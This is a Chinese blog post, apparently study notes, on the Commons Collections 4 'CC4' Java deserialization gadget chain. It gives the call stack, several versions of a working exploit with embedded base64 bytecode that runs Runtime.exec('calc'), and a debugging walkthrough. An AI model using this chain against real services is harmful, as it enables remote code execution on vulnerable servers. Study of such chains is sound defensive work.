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java_cc链4

发表于 更新于

上面 CC2 说了因为 CommonsCollections4 除4.0的其他版本去掉了 InvokerTransformer 的 Serializable 继承，导致无法序列化。所以我们是否可以不使用 InvokerTransformer 呢？于是便有了 CC4，其实cc链4就是cc2链中InvokerTransformer替换为 InstantiateTransformer，看起来有点类似cc2与cc3的结合

环境

  • apache commons collection-4.0
  • < jdk8u71

调用栈

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->PriorityQueue.readObject()
      ->PriorityQueue.heapify()
          ->PriorityQueue.siftDown()
            ->PriorityQueue.siftDownUsingComparator()
                 ->TransformingComparator.compare()
                    ->ChainedTransformer.transform()
                        ->ConstantTransformer.transform()
                                    ->InstantiateTransformer.transform()
                             ->TrAXFilter.TrAXFilter()
                                 ->TemplatesImpl.newTransformer()
                                        ->…………

尝试根据cc2链进行修改

我首先修改成了这样

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package main.java.cc4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;

public class cc4 {
    public static void main(String[] args) throws Base64DecodingException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
        //构造恶意类TestTemplatesImpl转换为字节码并进行base64编码
        byte[] bytes = Base64.decode("yv66vgAAADQAMgoAAgADBwAEDAAFAAYBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEABGNhbGMKAAgAEAwAEQASAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwcAFAEAE2phdmEvbGFuZy9FeGNlcHRpb24KABMAFgwAFwAGAQAPcHJpbnRTdGFja1RyYWNlBwAZAQAfbWFpbi9qYXZhL2NjMi9UZXN0VGVtcGxhdGVzSW1wbAEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAEdGhpcwEAIUxtYWluL2phdmEvY2MyL1Rlc3RUZW1wbGF0ZXNJbXBsOwEADVN0YWNrTWFwVGFibGUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEAIQAYAAIAAAAAAAMAAQAFAAYAAQAaAAAAfAACAAIAAAAWKrcAAbgABxINtgAPV6cACEwrtgAVsQABAAQADQAQABMAAwAbAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASABwAAAAWAAIAEQAEAB0AHgABAAAAFgAfACAAAAAhAAAAEAAC/wAQAAEHABgAAQcAEwQAAQAiACMAAgAaAAAAPwAAAAMAAAABsQAAAAIAGwAAAAYAAQAAABYAHAAAACAAAwAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAmACcAAgAoAAAABAABACkAAQAiACsAAgAaAAAASQAAAAQAAAABsQAAAAIAGwAAAAYAAQAAABoAHAAAACoABAAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAsAC0AAgAAAAEALgAvAAMAKAAAAAQAAQApAAEAMAAAAAIAMQ==");
        //反射创建TemplatesImpl
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
        Object TemplatesImpl_instance = constructor.newInstance();
        //将恶意类的字节码设置给_bytecodes属性
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
        //设置属性_name为恶意类名
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance , "TestTemplatesImpl");

        //传递给TransformingComparator
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{aClass}),
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformer_comparator =new TransformingComparator((org.apache.commons.collections4.Transformer) chainedTransformer);

        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        //设置comparator属性
        Field field=queue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,transformer_comparator);

        //设置queue属性
        field=queue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        //数组中必须添加2个元素
        Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
        field.set(queue,objects);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object object = ois.readObject();
    }
}

运行一下，果然报错：

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Exception in thread "main" java.lang.ClassCastException: org.apache.commons.collections.functors.ChainedTransformer cannot be cast to org.apache.commons.collections4.Transformer

显示chainedTransform类无法转化为Transform类 ，后面发现是导包的问题，将网上的导包复制进去就没有报错了，仔细比对一下，发现应该都是commons.collections4

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package main.java.cc4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;//
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;//
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;

import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import org.apache.commons.collections4.Transformer;//
import org.apache.commons.collections4.comparators.TransformingComparator;//
import org.apache.commons.collections4.functors.ChainedTransformer;//
import org.apache.commons.collections4.functors.ConstantTransformer;//
import org.apache.commons.collections4.functors.InstantiateTransformer;//

import javax.xml.transform.Templates;//
import java.io.*;//
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;//
import java.lang.reflect.InvocationTargetException;//
import java.util.PriorityQueue;//

public class cc4 {
    public static void main(String[] args) throws Base64DecodingException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, InvocationTargetException, IOException {
        //构造恶意类TestTemplatesImpl转换为字节码并进行base64编码
        byte[] bytes = Base64.decode("yv66vgAAADQAMgoAAgADBwAEDAAFAAYBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEABGNhbGMKAAgAEAwAEQASAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwcAFAEAE2phdmEvbGFuZy9FeGNlcHRpb24KABMAFgwAFwAGAQAPcHJpbnRTdGFja1RyYWNlBwAZAQAfbWFpbi9qYXZhL2NjMi9UZXN0VGVtcGxhdGVzSW1wbAEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAEdGhpcwEAIUxtYWluL2phdmEvY2MyL1Rlc3RUZW1wbGF0ZXNJbXBsOwEADVN0YWNrTWFwVGFibGUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEAIQAYAAIAAAAAAAMAAQAFAAYAAQAaAAAAfAACAAIAAAAWKrcAAbgABxINtgAPV6cACEwrtgAVsQABAAQADQAQABMAAwAbAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASABwAAAAWAAIAEQAEAB0AHgABAAAAFgAfACAAAAAhAAAAEAAC/wAQAAEHABgAAQcAEwQAAQAiACMAAgAaAAAAPwAAAAMAAAABsQAAAAIAGwAAAAYAAQAAABYAHAAAACAAAwAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAmACcAAgAoAAAABAABACkAAQAiACsAAgAaAAAASQAAAAQAAAABsQAAAAIAGwAAAAYAAQAAABoAHAAAACoABAAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAsAC0AAgAAAAEALgAvAAMAKAAAAAQAAQApAAEAMAAAAAIAMQ==");
        //反射创建TemplatesImpl
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
        Object TemplatesImpl_instance = constructor.newInstance();
        //将恶意类的字节码设置给_bytecodes属性
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
        //设置属性_name为恶意类名
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance , "TestTemplatesImpl");

        //传递给TransformingComparator
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{aClass}),
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformer_comparator =new TransformingComparator(chainedTransformer);

        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        //设置comparator属性
        Field field=queue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,transformer_comparator);

        //设置queue属性
        field=queue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        //数组中必须添加2个元素
        Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
        field.set(queue,objects);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object object = ois.readObject();
    }
}

运行一下，新的问题又来了，虽说有个异常，但按理来说应该有计算器弹出，调试一下，看看哪里错了

调试过后发现在InstantiateTransformer类的transform方法出现了异常，然后直接结束进程了

img

显示参数类型不匹配

img

那就在InstantiateTransformer赋值的地方找一下问题在哪？注意看这句代码：new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{aClass})，aClass现在是一个Class对象，而InstantiateTransformer类需要的是一个Object类，所以应该将aClass换成TemplatesImpl_instance，运行一下，弹出计算器。

img

完整exp

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package main.java.cc4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;//
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;//
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;

import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import org.apache.commons.collections4.Transformer;//
import org.apache.commons.collections4.comparators.TransformingComparator;//
import org.apache.commons.collections4.functors.ChainedTransformer;//
import org.apache.commons.collections4.functors.ConstantTransformer;//
import org.apache.commons.collections4.functors.InstantiateTransformer;//

import javax.xml.transform.Templates;//
import java.io.*;//
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;//
import java.lang.reflect.InvocationTargetException;//
import java.util.PriorityQueue;//

public class cc4 {
    public static void main(String[] args) throws Base64DecodingException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, InvocationTargetException, IOException {
        //构造恶意类TestTemplatesImpl转换为字节码并进行base64编码
        byte[] bytes = Base64.decode("yv66vgAAADQAMgoAAgADBwAEDAAFAAYBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEABGNhbGMKAAgAEAwAEQASAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwcAFAEAE2phdmEvbGFuZy9FeGNlcHRpb24KABMAFgwAFwAGAQAPcHJpbnRTdGFja1RyYWNlBwAZAQAfbWFpbi9qYXZhL2NjMi9UZXN0VGVtcGxhdGVzSW1wbAEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAEdGhpcwEAIUxtYWluL2phdmEvY2MyL1Rlc3RUZW1wbGF0ZXNJbXBsOwEADVN0YWNrTWFwVGFibGUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEAIQAYAAIAAAAAAAMAAQAFAAYAAQAaAAAAfAACAAIAAAAWKrcAAbgABxINtgAPV6cACEwrtgAVsQABAAQADQAQABMAAwAbAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASABwAAAAWAAIAEQAEAB0AHgABAAAAFgAfACAAAAAhAAAAEAAC/wAQAAEHABgAAQcAEwQAAQAiACMAAgAaAAAAPwAAAAMAAAABsQAAAAIAGwAAAAYAAQAAABYAHAAAACAAAwAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAmACcAAgAoAAAABAABACkAAQAiACsAAgAaAAAASQAAAAQAAAABsQAAAAIAGwAAAAYAAQAAABoAHAAAACoABAAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAsAC0AAgAAAAEALgAvAAMAKAAAAAQAAQApAAEAMAAAAAIAMQ==");
        //反射创建TemplatesImpl
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
        Object TemplatesImpl_instance = constructor.newInstance();
        //将恶意类的字节码设置给_bytecodes属性
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
        //设置属性_name为恶意类名
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance , "TestTemplatesImpl");

        //传递给TransformingComparator
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{TemplatesImpl_instance}),
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformer_comparator =new TransformingComparator(chainedTransformer);

        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        //设置comparator属性
        Field field=queue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,transformer_comparator);

        //设置queue属性
        field=queue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        //数组中必须添加2个元素
        Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
        field.set(queue,objects);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object object = ois.readObject();
    }
}

区别

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Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{TemplatesImpl_instance}),
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformer_comparator =new TransformingComparator(chainedTransformer);

熟悉一下，再调试一遍

在PriorityQueue类的readObject方法作为入口点

img

这个方法会调用到heapify()方法，跟进

img

又会调用siftDown方法

img

在这里如果comparator不为空，还会继续调用siftDownUsingComparator方法，comparator在这里是被修饰的Transformer[]数组。前面使用反射去进行设置的。继续跟进siftDownUsingComparator方法。

img

到了这一步后，就会调用comparator的compare方法，在前面使用到了TransformingComparator来修饰，所以调用到TransformingComparator的compare方法。

img

在被TransformingComparator修饰前，还使用了ChainedTransformer修饰器进行修饰，在this.transformer为ChainedTransformer的实例化对象。所以这里调用的是ChainedTransformer的transform。前面也提过该方法会遍历调用Transformer[]数组的transform方法。

img

在第一次遍历调用transform方法时i，因为前面Transformer[]存储的第一个是ConstantTransformer。ConstantTransformer的transform会直接返回TrAXFilter对象。

第二次调用的时候则是传入TrAXFilter调用InstantiateTransformer的transform方法。

img

这里的this.iParamTypes为templates,而this.iArgs为构造的恶意TemplatesImpl实例化对象。

那么这一步就是获取TrAXFilter为templates的构造方法。然后调用该构造方法实例化对象，并且传入TemplatesImpl恶意类。跟进到TrAXFilter构造方法里面，查看一下具体实现。

img

在他的构造方法里面还会对传入的对象调用newTransformer方法。

此时传入的是恶意的TemplatesImpl实例化对象。调用的则是TemplatesImpl的newTransformer方法。继续跟进。

img

在该方法还会调用到getTransletInstance方法。继续跟进。

img

到了这里会判断_class为空的话就会去调用defineTransletClasses进行赋值。跟踪一下defineTransletClasses方法查看是如何赋值的。

img

_bytecodes对_class进行赋值。_bytecodes为Runtime类执行命令代码的字节码。

在执行完方法后，来到下一步。

对_class进行newInstance，进行实例化对象。执行完这一步后，就会弹出计算器，也就是说执行了我们前面构造好的命令执行代码。

DC-2

java_cc链5

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